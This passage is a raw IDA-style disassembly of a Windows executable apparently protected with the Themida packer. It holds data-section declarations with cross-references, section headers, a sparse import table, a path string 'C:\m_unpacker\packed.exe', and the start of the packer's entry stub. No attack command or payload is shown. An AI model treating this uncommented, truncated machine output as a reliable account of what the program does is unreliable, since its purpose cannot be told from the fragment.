sub_409B13+C47r dword_4CB674 dd 0 ; DATA XREF: sub_409B13+3Ew ; sub_409B13+BAr ... dword_4CB678 dd 0 ; DATA XREF: sub_401000+45r ; sub_409B13+298w ... dword_4CB67C dd 0 ; DATA XREF: sub_409B13+651w ; sub_409B13+78Cr ... dword_4CB680 dd 0 ; DATA XREF: sub_409B13+637w ; sub_409B13+77Cr ... dword_4CB684 dd 0 ; DATA XREF: sub_401ACD+73BAr ; sub_409B13+C92w dword_4CB688 dd 0 ; DATA XREF: sub_409B13+879w ; ___:004168D6r ... dword_4CB68C dd 0 ; DATA XREF: sub_409B13+112w dword_4CB690 dd 0 ; DATA XREF: sub_409B13+BE7w ; sub_409B13+C22r dword_4CB694 dd 0 ; DATA XREF: sub_401ACD+2FE5r ; sub_401ACD+5F99r ... dword_4CB698 dd 0 ; DATA XREF: sub_409B13+459w ; sub_409B13+4BBr ... dword_4CB69C dd 0 ; DATA XREF: sub_409B13+49Aw ; sub_409B13+4E3r ... dword_4CB6A0 dd 0 ; DATA XREF: sub_409B13+466w ; sub_409B13+4C3r ... dword_4CB6A4 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+51D4r ... dword_4CB6A8 dd 0 ; DATA XREF: sub_409B13+1A6w ; sub_409B13+1E2r ... dword_4CB6AC dd 0 ; DATA XREF: sub_409B13+9F2w ; sub_409B13+A53r ... dword_4CB6B0 dd 0 ; DATA XREF: sub_409B13+158w ; sub_409B13+1ADr ... dword_4CB6B4 dd 0 ; DATA XREF: sub_409B13+8Cw ; sub_409B13+E2r ... dword_4CB6B8 dd 0 ; DATA XREF: sub_409B13+610w ; sub_409B13+764r ... dword_4CB6BC dd 0 ; DATA XREF: sub_409B13+B43w ; sub_409B13+B5Fr dword_4CB6C0 dd 0 ; DATA XREF: sub_409B13+33Aw ; sub_419652+55r dword_4CB6C4 dd 0 ; DATA XREF: sub_409B13+27Ew ; sub_409B13+2D3r ... dword_4CB6C8 dd 0 ; DATA XREF: sub_409B13+BAAw dword_4CB6CC dd 0 ; DATA XREF: sub_409B13+AECw ; sub_40AB32+CEr dword_4CB6D0 dd 0 ; DATA XREF: sub_409B13+ADFw ; sub_409B13+AE6r ... dword_4CB6D4 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5133r ... dword_4CB6D8 dd 0 ; DATA XREF: sub_401ACD+5125r ; sub_401ACD+7981r ... dword_4CB6DC dd 0 ; DATA XREF: sub_409B13+BF4w ; sub_409B13+C2Fr dword_4CB6E0 dd 0 ; DATA XREF: sub_401ACD+1E57r ; sub_401ACD+5AEEr ... dword_4CB6E4 dd 0 ; DATA XREF: sub_409B13+9B1w ; sub_409B13+A2Br ... dword_4CB6E8 dd 0 ; DATA XREF: sub_409B13+65Ew ; sub_409B13+794r ... dword_4CB6EC dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CB6F0 dd 0 ; DATA XREF: sub_409B13+59Bw ; sub_409B13+70Cr ... dword_4CB6F4 dd 0 ; DATA XREF: sub_409B13+B36w ; sub_409B13+B57r dword_4CB6F8 dd 0 ; DATA XREF: sub_409B13+540w ; sub_409B13+6C4r ... dword_4CB6FC dd 0 ; DATA XREF: sub_409B13+B29w ; sub_409B13+B4Ar dword_4CB700 dd 0 ; DATA XREF: ___:00401273r ; sub_409B13+31w ... dword_4CB704 dd 0 ; DATA XREF: sub_409B13+17Fw ; sub_409B13+1CAr ... dd 0 dword_4CB70C dd 0 ; DATA XREF: sub_409B13+927w ; sub_409B13+93Br dword_4CB710 dd 0 ; DATA XREF: sub_409B13+99w ; sub_409B13+EAr ... dword_4CB714 dd 0 ; DATA XREF: sub_409B13:loc_409C11w ; sub_409B13+12Bw ... dword_4CB718 dd 0 ; DATA XREF: sub_409B13+126w ; sub_40A7CF+1Cr dword_4CB71C dd 0 ; DATA XREF: sub_409B13:loc_409D01w ; sub_409B13:loc_409D68w ... dword_4CB720 dd 0 ; DATA XREF: sub_409B13+250w ; sub_40A7CF+50r dword_4CB724 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4568r ... dword_4CB728 dd 0 ; DATA XREF: sub_409B13+41Ew ; sub_40A7CF+84r dword_4CB72C dd 0 ; DATA XREF: sub_409B13:loc_40A017w ; sub_40A7CF:loc_40A87Fr dword_4CB730 dd 0 ; DATA XREF: sub_409B13+4FFw ; sub_40A7CF+B8r dword_4CB734 dd 0 ; DATA XREF: sub_409B13:loc_40A2E8w ; sub_40A7CF:loc_40A8B3r dword_4CB738 dd 0 ; DATA XREF: sub_409B13+7D0w ; sub_40A7CF+ECr dword_4CB73C dd 0 ; DATA XREF: sub_409B13:loc_40A3D3w ; sub_409B13+8EFw ... dword_4CB740 dd 0 ; DATA XREF: sub_409B13+8EAw ; sub_40A7CF+120r dword_4CB744 dd 0 ; DATA XREF: sub_401ACD:loc_406F18r ; sub_409B13:loc_40A467w ... dword_4CB748 dd 0 ; DATA XREF: sub_409B13+94Fw ; sub_40A7CF+154r dword_4CB74C dd 0 ; DATA XREF: sub_401ACD+4570r ; sub_409B13:loc_40A583w ... dword_4CB750 dd 0 ; DATA XREF: sub_409B13+A6Bw ; sub_40A7CF+188r dword_4CB754 dd 0 ; DATA XREF: sub_409B13:loc_40A5CDw ; sub_40A7CF:loc_40A983r dword_4CB758 dd 0 ; DATA XREF: sub_409B13+AB5w ; sub_40A7CF+1BCr dword_4CB75C dd 0 ; DATA XREF: sub_409B13:loc_40A617w ; sub_40A7CF:loc_40A9B7r dword_4CB760 dd 0 ; DATA XREF: sub_409B13+AFFw ; sub_40A7CF+1F0r dword_4CB764 dd 0 ; DATA XREF: sub_409B13:loc_40A68Bw ; sub_40A7CF:loc_40A9EBr dword_4CB768 dd 0 ; DATA XREF: sub_409B13+B73w ; sub_40A7CF+224r dword_4CB76C dd 0 ; DATA XREF: sub_409B13:loc_40A6D5w ; sub_40A7CF:loc_40AA1Fr dword_4CB770 dd 0 ; DATA XREF: sub_409B13+BBDw ; sub_40A7CF+258r dword_4CB774 dd 0 ; DATA XREF: sub_409B13:loc_40A773w ; sub_40A7CF:loc_40AA53r dword_4CB778 dd 0 ; DATA XREF: sub_409B13+C5Bw ; sub_40A7CF+28Cr dword_4CB77C dd 0 ; DATA XREF: sub_409B13:loc_40A7BDw ; sub_40A7CF:loc_40AA87r dword_4CB780 dd 0 ; DATA XREF: sub_409B13+CA5w ; sub_40A7CF+2C0r dword_4CB784 dd 7 dup(0) ; DATA XREF: sub_40AC10+32o dword_4CB7A0 dd 0 ; DATA XREF: sub_40BA57+18r ; sub_40BFEC+92w ... dword_4CB7A4 dd 0 ; DATA XREF: sub_40C125+4Dr ; sub_40C125+2F1w ... dd 7FEh dup(0) dword_4CD7A0 dd 6 dup(0) ; DATA XREF: sub_40C125+D2o ; sub_40C125+13Bo ... dword_4CD7B8 dd 0 ; DATA XREF: sub_40BACE+2C4w ; sub_40BACE+348o dword_4CD7BC dd 0 ; DATA XREF: sub_40BACE+33Ew ; sub_40BACE+35Ar dword_4CD7C0 dd 0 ; DATA XREF: sub_40BACE+2CFw dword_4CD7C4 dd 0 ; DATA XREF: sub_40BACE+2B9w ; sub_40BACE:loc_40BDE3r dword_4CD7C8 dd 20h dup(0) ; DATA XREF: sub_40BACE+2E2o ; sub_40BACE+302o dword_4CD848 dd 0 ; DATA XREF: sub_40BACE+2D5w dword_4CD84C dd 0 ; DATA XREF: sub_40BACE+2EFw ; sub_40BACE+30Fw dword_4CD850 dd 0 ; DATA XREF: sub_40BACE:loc_40BE3Er align 8 dword_4CD858 dd 0 ; DATA XREF: sub_40BACE+82w ; sub_40BACE+101o dword_4CD85C dd 41h dup(0) ; DATA XREF: sub_40BACE+41o dword_4CD960 dd 41h dup(0) ; DATA XREF: sub_40BACE+69o dword_4CDA64 dd 0 ; DATA XREF: sub_40BACE+F7w ; sub_40BACE+113r dword_4CDA68 dd 0 ; DATA XREF: sub_40BACE+52w dword_4CDA6C dd 0 ; DATA XREF: sub_40BACE+4Dw ; sub_40BACE+D4r dword_4CDA70 dd 20h dup(0) ; DATA XREF: sub_40BACE+9Ao ; sub_40BACE+BAo dword_4CDAF0 dd 0 ; DATA XREF: sub_40BACE+8Fw dword_4CDAF4 dd 0 ; DATA XREF: sub_40BACE+A7w ; sub_40BACE+C7w dword_4CDAF8 dd 0 ; DATA XREF: sub_40BACE:loc_40BBF7r align 10h dword_4CDB00 dd 0 ; DATA XREF: sub_40BACE+1A5w ; sub_40BACE+225o dword_4CDB04 dd 41h dup(0) ; DATA XREF: sub_40BACE+167o dword_4CDC08 dd 41h dup(0) ; DATA XREF: sub_40BACE+18Co dword_4CDD0C dd 0 ; DATA XREF: sub_40BACE+21Bw ; sub_40BACE+237r dword_4CDD10 dd 0 ; DATA XREF: sub_40BACE+17Aw dword_4CDD14 dd 0 ; DATA XREF: sub_40BACE+175w ; sub_40BACE+1F8r dword_4CDD18 dd 20h dup(0) ; DATA XREF: sub_40BACE+1BEo ; sub_40BACE+1DEo dword_4CDD98 dd 0 ; DATA XREF: sub_40BACE+1B1w dword_4CDD9C dd 0 ; DATA XREF: sub_40BACE+1CBw ; sub_40BACE+1EBw dword_4CDDA0 dd 0 ; DATA XREF: sub_40BACE:loc_40BD1Br align 8 dword_4CDDA8 dd 0 ; DATA XREF: sub_40BACE+417w ; sub_40BACE+470o dword_4CDDAC dd 0A2h dup(0) ; DATA XREF: sub_40BACE+405o dword_4CE034 dd 41h dup(0) ; DATA XREF: sub_40BACE+3CFo dword_4CE138 dd 0 ; DATA XREF: sub_40BACE+3FCw ; sub_40BACE+423r align 10h dword_4CE140 dd 0 ; DATA XREF: sub_40BACE+466w ; sub_40BACE+482r dword_4CE144 dd 0 ; DATA XREF: sub_40BACE+429w dword_4CE148 dd 0 ; DATA XREF: sub_40BACE+436w dword_4CE14C dd 0 ; DATA XREF: sub_40BACE+3F6w dd 0 dword_4CE154 dd 0 ; DATA XREF: sub_40BACE:loc_40BF66r dd 0 dword_4CE15C dd 0 ; DATA XREF: sub_40B71A+Er ; sub_40B71A+32r dword_4CE160 dd 0 ; DATA XREF: sub_40B71A+9r ; sub_40B71A+26r dword_4CE164 dd 82h dup(0) ; DATA XREF: sub_40C59C+8Do dword_4CE36C dd 2 dup(0) ; DATA XREF: sub_40CF05+68o dword_4CE374 dd 0 ; DATA XREF: sub_40D8A0+8w ; ___:0040DC6Fo dd 0 dword_4CE37C dd 2 dup(0) ; DATA XREF: ___:0040DBA5o dword_4CE384 dd 0 ; DATA XREF: ___:0040E4D8r dd 0 dd 0 dword_4CE390 dd 0 ; DATA XREF: ___:0040E4ABr dword_4CE394 dd 0 ; DATA XREF: ___:0040E48Dr ; ___:0040E4F6r dd 0 dword_4CE39C dd 0 ; DATA XREF: sub_40BACE+2AEr dd 0 dword_4CE3A4 dd 0 ; DATA XREF: sub_40B786+1Cr dword_4CE3A8 dd 0 ; DATA XREF: ___:0040EFE9w ; ___:0040F010r ... dd 3 dup(0) dword_4CE3B8 dd 0 ; DATA XREF: ___:00410906r align 10h dword_4CE3C0 dd 0 ; DATA XREF: sub_412352+4w ; sub_412352+9o dd 109h dup(0) dword_4CE7E8 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Fo ; sub_401ACD:loc_404AC5o dword_4CEE08 dd 0 ; DATA XREF: sub_401ACD+1A24w ; sub_401ACD+2F67r ... dd 11Ch dup(0) dword_4CF27C dd 1000h dup(0) ; DATA XREF: sub_4151AD+1Do ; sub_41524Do dword_4D327C dd 0 ; DATA XREF: sub_4151AD+13o ; sub_41524D+Eo ... dword_4D3280 dd 0 ; DATA XREF: sub_4155F8+Fr ; sub_4157F1+12r align 8 dword_4D3288 dd 0Eh dup(0) ; DATA XREF: sub_416923+Fo dword_4D32C0 dd 80h dup(0) ; DATA XREF: sub_4175EA+41o dword_4D34C0 dd 200h dup(0) ; DATA XREF: sub_416F1B+C7o ; sub_417276+DDo ... dword_4D3CC0 dd 124h dup(0) ; DATA XREF: sub_416F1B+D6o ; sub_417276+F4o ... db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_437F28o dd 0DBh dup(0) dword_4D44C0 dd 0 ; DATA XREF: sub_416F1B+86w ; sub_4170ED+94r dword_4D44C4 dd 0 ; DATA XREF: sub_416F1B+A7w ; sub_417553+55r ... dword_4D44C8 dd 0 ; DATA XREF: sub_416F1B+A0w ; sub_4170ED+D6r ... dword_4D44CC dd 0 ; DATA XREF: sub_416F1B+79w ; sub_4170ED+35r ... dword_4D44D0 dd 80h dup(0) ; DATA XREF: sub_417553+5Eo dword_4D46D0 dd 0 ; DATA XREF: sub_416F1B+93w ; sub_4170ED+A2r align 8 dword_4D46D8 dd 0 ; DATA XREF: sub_416F1B+E7o ; sub_416F1B+103r ... dword_4D46DC dd 0 ; DATA XREF: sub_417276+17Bw ; sub_41741D+107w dword_4D46E0 dd 0 ; DATA XREF: sub_417276+180w ; sub_41741D+10Dw ... dword_4D46E4 dd 0 ; DATA XREF: sub_417276+159w ; sub_417553+4Fr dword_4D46E8 dd 0 ; DATA XREF: sub_4178BB+22w ; sub_4178BB:loc_417A40w ... dword_4D46EC dd 0 ; DATA XREF: sub_401ACD+3CC4o ; sub_417789+12o ... dd 0 dword_4D46F4 dd 0 ; DATA XREF: sub_4178BB+1Cr ; sub_417A60+3Ar dd 7Fh dup(0) dword_4D48F4 dd 0 ; DATA XREF: sub_4178BB+28r ; sub_417A60+4Aw dd 1944h dup(0) dword_4DAE08 dd 0 ; DATA XREF: sub_417A60+23o dword_4DAE0C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE2o ; sub_417789+3Co ... dword_4DB010 dd 17h dup(0) ; DATA XREF: sub_4187DE:loc_4188FBo ; sub_4187DE+131o ... dword_4DB06C dd 80h dup(0) ; DATA XREF: sub_419594+7Co ; sub_419594+A5o dword_4DB26C dd 0 ; DATA XREF: sub_418B59+45w ; sub_418B59+4Dr ... dword_4DB270 dd 17h dup(0) ; DATA XREF: sub_419460:loc_419582o ; sub_419460+12Do dword_4DB2CC dd 80h dup(0) ; DATA XREF: sub_418A99+4Co ; sub_418A99+7Eo ... byte_4DB4CC db 0 ; DATA XREF: sub_418B59+29r ; sub_418B59+34w align 10h dword_4DB4D0 dd 80h dup(0) ; DATA XREF: sub_418DB0+61o ; sub_418DB0+89o ... dword_4DB6D0 dd 81h dup(0) ; DATA XREF: sub_4186C2:loc_4186FAo ; sub_4186C2+5Bo dword_4DB8D4 dd 0 ; DATA XREF: sub_419A21:loc_419A42r ; sub_419B10+54r ... dword_4DB8D8 dd 0 ; DATA XREF: sub_419A21r ; sub_419B10+37r ... dword_4DB8DC dd 0 ; DATA XREF: sub_419A51+1Ar ; sub_419C65+83o dword_4DB8E0 dd 0 ; DATA XREF: sub_419A21:loc_419A35r ; sub_419C65+11Bw dword_4DB8E4 dd 0Dh dup(0) ; DATA XREF: sub_419B10+13o ; sub_419C65:loc_419DA2o dword_4DB918 dd 0 ; DATA XREF: sub_419B10+CDr ; sub_419B10+ECr ... align 10h dword_4DB920 dd 0Eh dup(0) ; DATA XREF: sub_41A88C+47o dword_4DB958 dd 0 ; DATA XREF: sub_41BBBD+1B9w ; ___:loc_41D268w ... dword_4DB95C dd 0 ; DATA XREF: sub_41D3BE+35w ; sub_41DA72:loc_41DB0Cw ... dword_4DB960 dd 0 ; DATA XREF: sub_423A33+13Ar dd 0A28h, 501h, 5, 1 dword_4DB974 dd 1 ; DATA XREF: ___:loc_401516r ; ___:00423014w dword_4DB978 dd 2430B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... align 10h dword_4DB980 dd 2430B58h ; DATA XREF: ___:00422F0Ew ; sub_425AC7+9r ... dword_4DB984 dd 0 ; DATA XREF: sub_4261AB+36r dword_4DB988 dd 0 ; DATA XREF: sub_425AC7+16r ; sub_425E95+4r ... align 10h off_4DB990 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w ; "C:\\m_unpacker\\packed.exe" align 8 byte_4DB998 db 0 ; DATA XREF: sub_41B7D3+2Dw ; sub_4239DB+5r align 4 dword_4DB99C dd 0 ; DATA XREF: sub_41B7D3+27w dword_4DB9A0 dd 0 ; DATA XREF: sub_41B7D3+4r ; sub_41B7D3+8Bw dword_4DB9A4 dd 0 ; DATA XREF: sub_41C0F4+3Br ; sub_41C0F4+91w dd 0 dword_4DB9AC dd 0 ; DATA XREF: sub_41C748+Aw dword_4DB9B0 dd 0 ; DATA XREF: sub_41D081+5Er ; sub_41D081+A4w align 8 word_4DB9B8 dw 0 ; DATA XREF: sub_41D081+55r ; sub_41D081+9Ao word_4DB9BA dw 0 ; DATA XREF: sub_41D081+48r db 2 dup(0) word_4DB9BE dw 0 ; DATA XREF: sub_41D081+3Br word_4DB9C0 dw 0 ; DATA XREF: sub_41D081+2Er word_4DB9C2 dw 0 ; DATA XREF: sub_41D081+21r align 8 dword_4DB9C8 dd 0 ; DATA XREF: ___:loc_422EDCr ; ___:loc_422F1Er ... align 10h dword_4DB9D0 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ... dword_4DB9D4 dd 0 ; DATA XREF: sub_41EB10+4Bw ; sub_41EC29+2Dw ... dword_4DB9D8 dd 0 ; DATA XREF: sub_41F312r dword_4DB9DC dd 0 ; DATA XREF: sub_41B202:loc_41B31Er ; sub_41B202:loc_41B43Fr ... dword_4DB9E0 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r ; sub_420042+4w ... dword_4DB9E4 dd 0 ; DATA XREF: sub_420446+37r dd 0 dword_4DB9EC dd 0 ; DATA XREF: sub_4219D9+11r ; sub_421ADD+1Ar ... byte_4DB9F0 db 0 ; DATA XREF: sub_4219D9+3r ; sub_4219D9+98r ... align 4 dword_4DB9F4 dd 0 ; DATA XREF: sub_421ADD+11r ; sub_421BBB+21w ... byte_4DB9F8 db 0 ; DATA XREF: sub_421BBB+51w align 4 dword_4DB9FC dd 0 ; DATA XREF: sub_421DB1+4Er ; sub_42218C+3Ar ... dword_4DBA00 dd 0 ; DATA XREF: sub_421DB1+5Cr ; sub_42218C+43r ... dword_4DBA04 dd 0 ; DATA XREF: sub_41C9CE+7Ar ; sub_421F58+5r dword_4DBA08 dd 0 ; DATA XREF: sub_42255C+29r dword_4DBA0C dd 2 dup(0) ; DATA XREF: sub_41D160+Co dword_4DBA14 dd 0 ; DATA XREF: sub_41D5AA+4r ; sub_41D5AA+6Er ... dd 3 dup(0) dword_4DBA24 dd 0 ; DATA XREF: sub_41D834+61r ; sub_41D834+BFr ... dd 0 dword_4DBA2C dd 1 ; DATA XREF: sub_422ACA+28r ; sub_422ACA+4Cw ... dword_4DBA30 dd 0 ; DATA XREF: ___:00422D28r ; ___:00422D34w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao ; ___:off_4DB990o align 10h dd 3Ah dup(0) dword_4DBB38 dd 1 ; DATA XREF: ___:004231D2r ; ___:004231F3w ... dword_4DBB3C dd 0 ; DATA XREF: sub_423590+21r dword_4DBB40 dd 0 ; DATA XREF: sub_41F32D+154w ; sub_420446:loc_42046Fw ... dword_4DBB44 dd 0 ; DATA XREF: sub_41F32D+7r dword_4DBB48 dd 1 ; DATA XREF: sub_423CEC+26r ; sub_423CEC:loc_423D56w align 10h word_4DBB50 dw 0 ; DATA XREF: sub_4245E9+1Ao ; sub_4245E9+46r byte_4DBB52 db 0 ; DATA XREF: sub_4245E9+39r align 4 dword_4DBB54 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o dword_4DBB70 dd 0 ; DATA XREF: sub_4245E9+40w ; sub_4245E9+5Co dword_4DBB74 dd 0 ; DATA XREF: sub_4245E9+4Dw dword_4DBB78 dd 0 ; DATA XREF: sub_4245E9+31w dword_4DBB7C dd 0 ; DATA XREF: sub_4245E9+52w dword_4DBB80 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr ; sub_42470C+38r ... align 8 dword_4DBB88 dd 0 ; DATA XREF: sub_4247EC+11w ; sub_4247EC+63w ... align 10h dword_4DBB90 dd 0 ; DATA XREF: sub_4247EC+33o ; sub_4247EC+46r dword_4DBB94 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o word_4DBBD4 dw 0 ; DATA XREF: sub_424A4A+A8r word_4DBBD6 dw 0 ; DATA XREF: sub_4247EC+54r ; sub_424A4A+DBr ... word_4DBBD8 dw 0 ; DATA XREF: sub_424A4A+CAr word_4DBBDA dw 0 ; DATA XREF: sub_424A4A+D3r ; sub_424A4A:loc_424B3Cr word_4DBBDC dw 0 ; DATA XREF: sub_424A4A+C0r word_4DBBDE dw 0 ; DATA XREF: sub_424A4A+B8r word_4DBBE0 dw 0 ; DATA XREF: sub_424A4A+B0r word_4DBBE2 dw 0 ; DATA XREF: sub_424A4A+9Er dword_4DBBE4 dd 0 ; DATA XREF: sub_4247EC+4Br dword_4DBBE8 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo word_4DBC28 dw 0 ; DATA XREF: sub_424A4A+46r word_4DBC2A dw 0 ; DATA XREF: sub_4247EC:loc_424863r ; sub_424A4A+78r ... word_4DBC2C dw 0 ; DATA XREF: sub_424A4A+67r word_4DBC2E dw 0 ; DATA XREF: sub_424A4A+70r ; sub_424A4A:loc_424ACEr word_4DBC30 dw 0 ; DATA XREF: sub_424A4A+5Dr word_4DBC32 dw 0 ; DATA XREF: sub_424A4A+55r word_4DBC34 dw 0 ; DATA XREF: sub_424A4A+4Dr word_4DBC36 dw 0 ; DATA XREF: sub_424A4A+3Er dword_4DBC38 dd 0 ; DATA XREF: sub_4247EC+80r dword_4DBC3C dd 0 ; DATA XREF: sub_4247EC+132r ; sub_4247EC:loc_424938r ... dword_4DBC40 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew dword_4DBC44 dd 0 ; DATA XREF: sub_424D78+3r ; sub_424D78+2Ew ... dword_4DBC48 dd 0 ; DATA XREF: sub_424D78+43w ; sub_424D78:loc_424DC7r dword_4DBC4C dd 0 ; DATA XREF: sub_424D78+4Aw ; sub_424D78+60r dword_4DBC50 dd 0 ; DATA XREF: sub_423A33+3Fr dword_4DBC54 dd 0 ; DATA XREF: sub_425955:loc_4259BCr ; sub_425955+6Do dword_4DBC58 dd 0 ; DATA XREF: sub_425955:loc_425993r ; sub_425955+44o dword_4DBC5C dd 0 ; DATA XREF: sub_425955:loc_425986r ; sub_425955+37o dword_4DBC60 dd 0 ; DATA XREF: sub_425955:loc_4259A0r ; sub_425955+51o align 8 dword_4DBC68 dd 0 ; DATA XREF: sub_425F03+28r ; sub_425F03+48w ... dword_4DBC6C dd 0 ; DATA XREF: sub_426988+28r ; sub_426988+4Cw ... dword_4DBC70 dd 0 ; DATA XREF: sub_426C13+26r ; sub_426C13:loc_426C7Dw byte_4DBC74 db 0 ; DATA XREF: sub_40D879r sub_40D879+9w align 4 dword_4DBC78 dd 2431140h ; DATA XREF: sub_41DBF0:loc_41DC01r ; sub_41F49D+14r ... align 10h dword_4DBC80 dd 400h dup(0) ; DATA XREF: ___:off_43D0C8o ; ___:0043D0D0o dword_4DCC80 dd 200h ; DATA XREF: sub_41DBF0+9r ; sub_41DBF0+56r ... dd 7 dup(0) dword_4DCCA0 dd 2430650h ; DATA XREF: sub_41F043+75r ; sub_41F11C+2Ar ... dword_4DCCA4 dd 3Fh dup(0) ; DATA XREF: ___:00423394o dword_4DCDA0 dd 20h ; DATA XREF: sub_41DA72+8r ; sub_41F11C+Cr ... dword_4DCDA4 dd 4E4h ; DATA XREF: sub_41FEA9+14r ; sub_41FEA9+65w ... align 10h dword_4DCDB0 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o ; sub_41FEA9+171o ... dword_4DCDBC dd 0 ; DATA XREF: sub_41FEA9+108w ; sub_41FEA9+15Dw ... byte_4DCDC0 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w ; sub_4200E8:loc_420211w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DCEC0 db 0 ; DATA XREF: sub_41FEA9+5Co ; sub_41FEA9+AFo ... byte_4DCEC1 db 0 ; DATA XREF: sub_41B9D1+5Dr ; sub_41FEA9+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DCFC4 dd 0 ; DATA XREF: sub_41FEA9+6Ew ; sub_41FEA9+12Bw ... dword_4DCFC8 dd 0 ; DATA XREF: sub_41E4D4+5r ; sub_41E4D4+32w dword_4DCFCC dd 0 ; DATA XREF: sub_41DEA2+23Ar ; sub_41DEA2+25Ar ... dword_4DCFD0 dd 0 ; DATA XREF: sub_41DEA2+311w ; sub_41E1CB:loc_41E21Br ... dword_4DCFD4 dd 0 ; DATA XREF: sub_41DEA2+22Dr ; sub_41DEA2+260r ... dword_4DCFD8 dd 0 ; DATA XREF: sub_41DE77r ; sub_41DEA2+2CBr ... dword_4DCFDC dd 0 ; DATA XREF: sub_41DE77+8r ; sub_41DEA2+2D0r ... dword_4DCFE0 dd 0 ; DATA XREF: sub_41B202+5Cr ; sub_41B513+Fr ... dword_4DCFE4 dd 2430000h ; DATA XREF: sub_41B0B1+5Ar ; sub_41B202+C0r ... dword_4DCFE8 dd 1 ; DATA XREF: sub_41B0B1+Cr ; sub_41B202:loc_41B232r ... dword_4DCFEC dd 142340h ; DATA XREF: ___:00422E81r ; ___:00422FACr dword_4DCFF0 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r dword_4DCFF4 dd 1 ; DATA XREF: sub_42026Dr ; sub_42026D+11w ... dword_4DCFF8 dd 2430758h ; DATA XREF: sub_41B7D3+3Er ; sub_41CFD3+13r ... dword_4DCFFC dd 2430758h ; DATA XREF: sub_41B7D3+35r ; sub_41B7D3+57r ... dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DE000h dd 400h dup(0) _rsrc___ ends ; Section 3. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4DF000h a7icwCw db '7¨çwµ\çw',0 align 4 dd 77345219h, 4 dup(0) dd 0DF050h, 0DF000h, 3 dup(0) dd 0DF079h, 0DF00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E0000) ; Virtual size : 000DC000 ( 901120.) ; Section size in file : 000DC000 ( 901120.) ; Offset to raw data for section: 000E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4E0000h dd 1E97E081h, 44370h, 5444Fh, 95172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053BC74 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053EF15 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0053F18B SIZE 000000F3 BYTES ; FUNCTION CHUNK AT 0053F2B4 SIZE 00000039 BYTES ; FUNCTION CHUNK AT 0053F320 SIZE 0000002A BYTES mov eax, 0 pusha or eax, eax jz short loc_4E0086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E0041 popa jmp short loc_4E0076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4E0041: ; CODE XREF: start+18j call $+5 pop eax loc_4E0047: ; DATA XREF: ___:0043812Co and eax, 0FFFFF000h xor edi, edi loc_4E004E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E006D movzx edx, word ptr [eax+3Ch] 